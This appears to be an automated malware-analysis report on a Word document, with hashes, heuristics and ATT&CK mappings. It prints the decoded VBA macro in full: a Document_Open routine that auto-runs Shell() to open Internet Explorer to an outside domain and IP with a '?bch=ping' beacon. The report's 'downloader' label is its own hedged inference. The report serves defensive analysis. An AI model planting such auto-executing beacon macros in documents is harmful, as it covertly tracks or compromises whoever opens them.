Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e33c3c7a9678e0f4…

MALICIOUS

Office (OLE)

33.0 KB Created: 2014-03-24 20:19:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: e3d65b7b42035883f026c17341a0f76d SHA-1: d5ea686994c6a6c296cfe01122fee3492c0df1c7 SHA-256: e33c3c7a9678e0f40a8cf242ad22adfcfbea50114f3fd7b4b3ba10fdcd68b113
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that executes the 'Document_Open' subroutine. This subroutine uses the Shell() function to launch Internet Explorer and navigate to several suspicious URLs. These URLs are likely used to download and execute second-stage payloads, indicating a downloader or droppper functionality.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www-direct.crest-approved.org?bch=ping In document text (OLE body)
    • http://46.252.73.45?bch=pingIn document text (OLE body)
    • http://www-direct.crest-approved.org:8080?bch=pingIn document text (OLE body)
    • http://46.252.73.45:8080?bch=pingIn document text (OLE body)
    • http://www-direct.crest-approved.org:53?bch=pingIn document text (OLE body)
    • http://46.252.73.45:53?bch=pingIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 829 bytes
SHA-256: f802b4ab89fb31ca0139ee575fb539029e1f1bc03a5cabeaa7eb9188735762db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True




Sub Document_Open()

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:8080?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:8080?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:53?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:53?bch=ping")

End Sub

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